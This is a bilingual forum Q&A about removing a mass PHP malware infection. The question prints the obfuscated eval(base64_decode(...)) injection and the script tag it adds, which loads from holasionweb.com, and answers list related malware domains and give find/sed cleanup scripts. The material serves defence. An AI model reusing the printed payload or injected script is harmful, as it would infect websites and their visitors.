如何从我网站上的所有 php 文件中删除 iframe 病毒?

发布于 2024-09-01 06:26:57 字数 3350 浏览 4 评论 0原文

我在从 php 文件中删除病毒代码时遇到问题。我的服务器中有超过1200个php文件,每个php文件都被病毒感染了。病毒代码将此行添加到 html 输出

<script src="http://holasionweb.com/oo.php"></script>

这是病毒代码

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMmx2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9MTA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Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>

每个 php 文件中的上述代码。我怎样才能从每个 php 文件中删除这个病毒代码?有快速的方法吗?

I have a problem about removing a virus code from my php files. There are more than 1200 php files in my server and every single php file has been infected by a virus. Virus code adding this line to html output

<script src="http://holasionweb.com/oo.php"></script>

This is the code of virus

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMmx2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1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AgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>

Above code in every single php file. How can i remove this virus code from every php file ? Is there a quick way for doing it?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(7

你另情深 2024-09-08 06:26:57

将以下代码保存为cleaner.php并将其上传到根目录并通过浏览器调用它。

    Site clean up by <a href="http://sucuri.net">http://sucuri.net</a><br />
This script will clean the malware from this attack:
<a href="http://sucuri.net/malware/entry/MW:MROBH:1">http://sucuri.net/malware/entry/MW:MROBH:1</a>
<br /><br />
If you need help, contact [email protected] or visit us at <a href="http://sucuri.net/index.php?page=nbi">
http://sucuri.net/index.php?page=nbi</a>

<br />
<br />
<?php

$dir = "./";

$rmcode = `find $dir -name "*.php" -type f |xargs sed -i 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`;
echo "Malware removed.<br />\n";
$emptyline = `find $dir -name "*.php" -type f | xargs sed -i '/./,$!d' 2>&1`;
echo "Empty lines removed.<br />\n";
?>
<br />
Completed.

Save bellow code as cleaner.php and upload it to your root directory and call it via browser.

    Site clean up by <a href="http://sucuri.net">http://sucuri.net</a><br />
This script will clean the malware from this attack:
<a href="http://sucuri.net/malware/entry/MW:MROBH:1">http://sucuri.net/malware/entry/MW:MROBH:1</a>
<br /><br />
If you need help, contact [email protected] or visit us at <a href="http://sucuri.net/index.php?page=nbi">
http://sucuri.net/index.php?page=nbi</a>

<br />
<br />
<?php

$dir = "./";

$rmcode = `find $dir -name "*.php" -type f |xargs sed -i 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`;
echo "Malware removed.<br />\n";
$emptyline = `find $dir -name "*.php" -type f | xargs sed -i '/./,$!d' 2>&1`;
echo "Empty lines removed.<br />\n";
?>
<br />
Completed.
绿光 2024-09-08 06:26:57

来自 ssh 的简单命令类似于:

find /path/to/docroot -name '*.php' -exec sed -i 's/<script.*?holasionweb.*?script>//' {} \;

Simple command from ssh similar to:

find /path/to/docroot -name '*.php' -exec sed -i 's/<script.*?holasionweb.*?script>//' {} \;
放血 2024-09-08 06:26:57

为什么不用您最喜欢的脚本语言设置一个快速脚本来检查每个文件中是否有类似的内容并将其删除?对我来说听起来像是一个 10 分钟的脚本,

请注意,我说脚本是因为 1200 个文件太多,无法手动完成

why not setup a quick script in your favorite scripting language to look through every file for something similar to that and remove it? souns like a 10 minute script to me

note i say script because 1200 files is too much to do manually

青巷忧颜 2024-09-08 06:26:57

上面的第一个答案缺少一些完成删除的代码。

它还需要删除将 javascript 注入 PHP/HTML 页面的 HTML 脚本行(通常位于页面末尾靠近标签、标题或其他位置)。

虽然截至2010年5月12日,holasionweb是javscript注入的主要来源(至少我见过),上面的页面: http://sucuri.net/malware/entry/MW:MROBH:1
指的是几个需要删除的“可能的”javascipt 源。

(受感染的恶意软件 JavaScript 站点)
www.indesignstudioinfo.com/ls.php
zettapetta.com/js.php
holasionweb.com/oo.php

添加这些行以删除对 3 个恶意软件源的调用:(如果您的感染使用其他源,请相应地修改正则表达式。

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#

echo "Javascript 已删除。
\n";

The first answer above is missing some code to complete the removal.

It also needs to remove the HTML script line that injects javascript into the PHP/HTML page (typically located at the end of the page near the tag, header, or otherwise).

Although as of 5/12/2010, holasionweb is the main source of the javscript injection (at least that I have seen), the above page: http://sucuri.net/malware/entry/MW:MROBH:1
refers to several "possible" javascipt sources that need to be removed.

(Infected malware javascript sites)
www.indesignstudioinfo.com/ls.php
zettapetta.com/js.php
holasionweb.com/oo.php

Add these lines to remove the calls to the 3 malware sources: (if your infection uses another source, modify the regular express accordingly.

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://holasionweb\.com.*/script>##g' 2>&1;

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://www.indesignstudioinfo\.com.*/script>##g' 2>&1;

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://zettapetta\.com.*/script>##g' 2>&1;

echo "Javascript removed.
\n";

自演自醉 2024-09-08 06:26:57

在某些机器上(我猜是linux)你必须在sed的-i后面添加“”。之后该命令将如下所示:

$rmcode = `find $dir -name "*.php" -type f |xargs sed -i "" 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`;

On some machines (with linux i guess) you have to add "" after sed's -i. After that command would look like this:

$rmcode = `find $dir -name "*.php" -type f |xargs sed -i "" 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`;
最美不过初阳 2024-09-08 06:26:57

如果每个文件中的代码完全相同,那么您可以下载 Notepad++<例如。打开所有文件并使用Find (ctrl+F)中的Find in File替换每个文件中的这段PHP代码

替代文本

If it's exactly the same piece of code in each file, then you could download Notepad++ for example. Open all files and use the Find in File in Find (ctrl+F) to replace this PHP code in every file

alt text

如歌彻婉言 2024-09-08 06:26:57

这个问题没有人问,但应该问:服务器上的文件是如何被感染的?

如果没有找到感染途径,清除病毒痕迹是没有用的。如果它是已安装软件包的安全错误,那么删除它可能不会给你带来任何好处,除了重新感染之外,可能会在短暂的休息后。如果是已经被破解的弱密码,不更改就会让服务器一次又一次遭受同样的攻击。

因此,检测到此类攻击后的第一步:找出它是如何完成的!

The question nobody asked, but should: How did the files get infected on the server?

It is no use removing the traces of a virus if the infection method has not been found. If it is a security bug of an installed software package, then removal will likely not get you anything but reinfection, possibly after a short break. If it is a weak password that has been cracked, not changing it will leave the server subject to the same attack over and over again.

So the first step after detecting such an attack: Find out how it was done!

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文